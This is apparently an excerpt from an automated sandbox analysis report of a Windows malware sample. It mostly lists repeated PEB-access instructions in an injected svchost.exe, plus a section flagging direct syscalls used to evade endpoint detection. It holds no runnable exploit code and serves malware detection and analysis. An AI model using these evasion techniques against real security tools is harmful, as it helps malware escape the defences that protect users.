Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]	2_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]	2_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]	2_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]	2_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302645D mov eax, dword ptr fs:[00000030h]	2_2_0302645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305245A mov eax, dword ptr fs:[00000030h]	2_2_0305245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BC460 mov ecx, dword ptr fs:[00000030h]	2_2_030BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305A470 mov eax, dword ptr fs:[00000030h]	2_2_0305A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305A470 mov eax, dword ptr fs:[00000030h]	2_2_0305A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305A470 mov eax, dword ptr fs:[00000030h]	2_2_0305A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030364AB mov eax, dword ptr fs:[00000030h]	2_2_030364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030644B0 mov ecx, dword ptr fs:[00000030h]	2_2_030644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BA4B0 mov eax, dword ptr fs:[00000030h]	2_2_030BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030304E5 mov ecx, dword ptr fs:[00000030h]	2_2_030304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AEB1D mov eax, dword ptr fs:[00000030h]	2_2_030AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305EB20 mov eax, dword ptr fs:[00000030h]	2_2_0305EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305EB20 mov eax, dword ptr fs:[00000030h]	2_2_0305EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F8B28 mov eax, dword ptr fs:[00000030h]	2_2_030F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F8B28 mov eax, dword ptr fs:[00000030h]	2_2_030F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C6B40 mov eax, dword ptr fs:[00000030h]	2_2_030C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C6B40 mov eax, dword ptr fs:[00000030h]	2_2_030C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FAB40 mov eax, dword ptr fs:[00000030h]	2_2_030FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D8B42 mov eax, dword ptr fs:[00000030h]	2_2_030D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302CB7E mov eax, dword ptr fs:[00000030h]	2_2_0302CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040BBE mov eax, dword ptr fs:[00000030h]	2_2_03040BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040BBE mov eax, dword ptr fs:[00000030h]	2_2_03040BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03050BCB mov eax, dword ptr fs:[00000030h]	2_2_03050BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03050BCB mov eax, dword ptr fs:[00000030h]	2_2_03050BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03050BCB mov eax, dword ptr fs:[00000030h]	2_2_03050BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030BCD mov eax, dword ptr fs:[00000030h]	2_2_03030BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030BCD mov eax, dword ptr fs:[00000030h]	2_2_03030BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030BCD mov eax, dword ptr fs:[00000030h]	2_2_03030BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DEBD0 mov eax, dword ptr fs:[00000030h]	2_2_030DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03038BF0 mov eax, dword ptr fs:[00000030h]	2_2_03038BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03038BF0 mov eax, dword ptr fs:[00000030h]	2_2_03038BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03038BF0 mov eax, dword ptr fs:[00000030h]	2_2_03038BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305EBFC mov eax, dword ptr fs:[00000030h]	2_2_0305EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BCBF0 mov eax, dword ptr fs:[00000030h]	2_2_030BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BCA11 mov eax, dword ptr fs:[00000030h]	2_2_030BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306CA24 mov eax, dword ptr fs:[00000030h]	2_2_0306CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305EA2E mov eax, dword ptr fs:[00000030h]	2_2_0305EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03054A35 mov eax, dword ptr fs:[00000030h]	2_2_03054A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03054A35 mov eax, dword ptr fs:[00000030h]	2_2_03054A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306CA38 mov eax, dword ptr fs:[00000030h]	2_2_0306CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]	2_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]	2_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]	2_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]	2_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]	2_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]	2_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036A50 mov eax, dword ptr fs:[00000030h]	2_2_03036A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040A5B mov eax, dword ptr fs:[00000030h]	2_2_03040A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040A5B mov eax, dword ptr fs:[00000030h]	2_2_03040A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306CA6F mov eax, dword ptr fs:[00000030h]	2_2_0306CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306CA6F mov eax, dword ptr fs:[00000030h]	2_2_0306CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306CA6F mov eax, dword ptr fs:[00000030h]	2_2_0306CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030ACA72 mov eax, dword ptr fs:[00000030h]	2_2_030ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030ACA72 mov eax, dword ptr fs:[00000030h]	2_2_030ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303EA80 mov eax, dword ptr fs:[00000030h]	2_2_0303EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104A80 mov eax, dword ptr fs:[00000030h]	2_2_03104A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03068A90 mov edx, dword ptr fs:[00000030h]	2_2_03068A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03038AA0 mov eax, dword ptr fs:[00000030h]	2_2_03038AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03038AA0 mov eax, dword ptr fs:[00000030h]	2_2_03038AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03086AA4 mov eax, dword ptr fs:[00000030h]	2_2_03086AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03086ACC mov eax, dword ptr fs:[00000030h]	2_2_03086ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03086ACC mov eax, dword ptr fs:[00000030h]	2_2_03086ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03086ACC mov eax, dword ptr fs:[00000030h]	2_2_03086ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030AD0 mov eax, dword ptr fs:[00000030h]	2_2_03030AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03064AD0 mov eax, dword ptr fs:[00000030h]	2_2_03064AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03064AD0 mov eax, dword ptr fs:[00000030h]	2_2_03064AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306AAEE mov eax, dword ptr fs:[00000030h]	2_2_0306AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306AAEE mov eax, dword ptr fs:[00000030h]	2_2_0306AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE908 mov eax, dword ptr fs:[00000030h]	2_2_030AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE908 mov eax, dword ptr fs:[00000030h]	2_2_030AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BC912 mov eax, dword ptr fs:[00000030h]	2_2_030BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03028918 mov eax, dword ptr fs:[00000030h]	2_2_03028918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03028918 mov eax, dword ptr fs:[00000030h]	2_2_03028918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B892A mov eax, dword ptr fs:[00000030h]	2_2_030B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C892B mov eax, dword ptr fs:[00000030h]	2_2_030C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B0946 mov eax, dword ptr fs:[00000030h]	2_2_030B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03056962 mov eax, dword ptr fs:[00000030h]	2_2_03056962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03056962 mov eax, dword ptr fs:[00000030h]	2_2_03056962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03056962 mov eax, dword ptr fs:[00000030h]	2_2_03056962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0307096E mov eax, dword ptr fs:[00000030h]	2_2_0307096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0307096E mov edx, dword ptr fs:[00000030h]	2_2_0307096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0307096E mov eax, dword ptr fs:[00000030h]	2_2_0307096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D4978 mov eax, dword ptr fs:[00000030h]	2_2_030D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D4978 mov eax, dword ptr fs:[00000030h]	2_2_030D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BC97C mov eax, dword ptr fs:[00000030h]	2_2_030BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030429A0 mov eax, dword ptr fs:[00000030h]	2_2_030429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030309AD mov eax, dword ptr fs:[00000030h]	2_2_030309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030309AD mov eax, dword ptr fs:[00000030h]	2_2_030309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B89B3 mov esi, dword ptr fs:[00000030h]	2_2_030B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B89B3 mov eax, dword ptr fs:[00000030h]	2_2_030B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B89B3 mov eax, dword ptr fs:[00000030h]	2_2_030B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C69C0 mov eax, dword ptr fs:[00000030h]	2_2_030C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0303A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030649D0 mov eax, dword ptr fs:[00000030h]	2_2_030649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FA9D3 mov eax, dword ptr fs:[00000030h]	2_2_030FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BE9E0 mov eax, dword ptr fs:[00000030h]	2_2_030BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030629F9 mov eax, dword ptr fs:[00000030h]	2_2_030629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030629F9 mov eax, dword ptr fs:[00000030h]	2_2_030629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BC810 mov eax, dword ptr fs:[00000030h]	2_2_030BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]	2_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]	2_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]	2_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03052835 mov ecx, dword ptr fs:[00000030h]	2_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]	2_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03052835 mov eax, dword ptr fs:[00000030h]	2_2_03052835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A830 mov eax, dword ptr fs:[00000030h]	2_2_0306A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D483A mov eax, dword ptr fs:[00000030h]	2_2_030D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D483A mov eax, dword ptr fs:[00000030h]	2_2_030D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03042840 mov ecx, dword ptr fs:[00000030h]	2_2_03042840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03060854 mov eax, dword ptr fs:[00000030h]	2_2_03060854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03034859 mov eax, dword ptr fs:[00000030h]	2_2_03034859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03034859 mov eax, dword ptr fs:[00000030h]	2_2_03034859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BE872 mov eax, dword ptr fs:[00000030h]	2_2_030BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BE872 mov eax, dword ptr fs:[00000030h]	2_2_030BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C6870 mov eax, dword ptr fs:[00000030h]	2_2_030C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C6870 mov eax, dword ptr fs:[00000030h]	2_2_030C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030887 mov eax, dword ptr fs:[00000030h]	2_2_03030887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BC89D mov eax, dword ptr fs:[00000030h]	2_2_030BC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E8C0 mov eax, dword ptr fs:[00000030h]	2_2_0305E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030FA8E4 mov eax, dword ptr fs:[00000030h]	2_2_030FA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C8F9 mov eax, dword ptr fs:[00000030h]	2_2_0306C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C8F9 mov eax, dword ptr fs:[00000030h]	2_2_0306C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030E6F00 mov eax, dword ptr fs:[00000030h]	2_2_030E6F00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03032F12 mov eax, dword ptr fs:[00000030h]	2_2_03032F12
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306CF1F mov eax, dword ptr fs:[00000030h]	2_2_0306CF1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305EF28 mov eax, dword ptr fs:[00000030h]	2_2_0305EF28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B4F40 mov eax, dword ptr fs:[00000030h]	2_2_030B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B4F40 mov eax, dword ptr fs:[00000030h]	2_2_030B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B4F40 mov eax, dword ptr fs:[00000030h]	2_2_030B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B4F40 mov eax, dword ptr fs:[00000030h]	2_2_030B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D4F42 mov eax, dword ptr fs:[00000030h]	2_2_030D4F42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302CF50 mov eax, dword ptr fs:[00000030h]	2_2_0302CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302CF50 mov eax, dword ptr fs:[00000030h]	2_2_0302CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302CF50 mov eax, dword ptr fs:[00000030h]	2_2_0302CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302CF50 mov eax, dword ptr fs:[00000030h]	2_2_0302CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302CF50 mov eax, dword ptr fs:[00000030h]	2_2_0302CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302CF50 mov eax, dword ptr fs:[00000030h]	2_2_0302CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306CF50 mov eax, dword ptr fs:[00000030h]	2_2_0306CF50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D0F50 mov eax, dword ptr fs:[00000030h]	2_2_030D0F50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305AF69 mov eax, dword ptr fs:[00000030h]	2_2_0305AF69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305AF69 mov eax, dword ptr fs:[00000030h]	2_2_0305AF69
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2F60 mov eax, dword ptr fs:[00000030h]	2_2_030D2F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2F60 mov eax, dword ptr fs:[00000030h]	2_2_030D2F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104F68 mov eax, dword ptr fs:[00000030h]	2_2_03104F68
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306CF80 mov eax, dword ptr fs:[00000030h]	2_2_0306CF80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03062F98 mov eax, dword ptr fs:[00000030h]	2_2_03062F98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03062F98 mov eax, dword ptr fs:[00000030h]	2_2_03062F98
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03032FC8 mov eax, dword ptr fs:[00000030h]	2_2_03032FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03032FC8 mov eax, dword ptr fs:[00000030h]	2_2_03032FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03032FC8 mov eax, dword ptr fs:[00000030h]	2_2_03032FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03032FC8 mov eax, dword ptr fs:[00000030h]	2_2_03032FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302EFD8 mov eax, dword ptr fs:[00000030h]	2_2_0302EFD8

Source: C:\Users\user\Desktop\wWXR5js3k2.exe

Code function: 0_2_006A80A9 GetTokenInformation,GetLastError,GetProcessHeap,HeapAlloc,GetTokenInformation,

0_2_006A80A9

Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_0067A155 SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0067A155
Source: C:\Users\user\Desktop\wWXR5js3k2.exe	Code function: 0_2_0067A124 SetUnhandledExceptionFilter,		0_2_0067A124

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtProtectVirtualMemory: Direct from: 0x77542F9C	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtSetInformationProcess: Direct from: 0x77542C5C	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtOpenKeyEx: Direct from: 0x77542B9C	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtProtectVirtualMemory: Direct from: 0x77537B2E	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtCreateFile: Direct from: 0x77542FEC	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtOpenFile: Direct from: 0x77542DCC	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtQueryInformationToken: Direct from: 0x77542CAC	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtTerminateThread: Direct from: 0x77542FCC	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtDeviceIoControlFile: Direct from: 0x77542AEC	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtAllocateVirtualMemory: Direct from: 0x77542BEC	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtQueryVolumeInformationFile: Direct from: 0x77542F2C	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtOpenSection: Direct from: 0x77542E0C	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtAllocateVirtualMemory: Direct from: 0x775448EC	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtSetInformationThread: Direct from: 0x775363F9	Jump to behavior
Source: C:\Program Files (x86)\HCTPCPWVAaRPNZDJMLLmpfebDcpduzAzoyxboAfIKwDWQYOaDBseWgUwW\ycBMGRFRlht.exe	NtQuerySystemInformation: Direct from: 0x775448CC	Jump to behavior
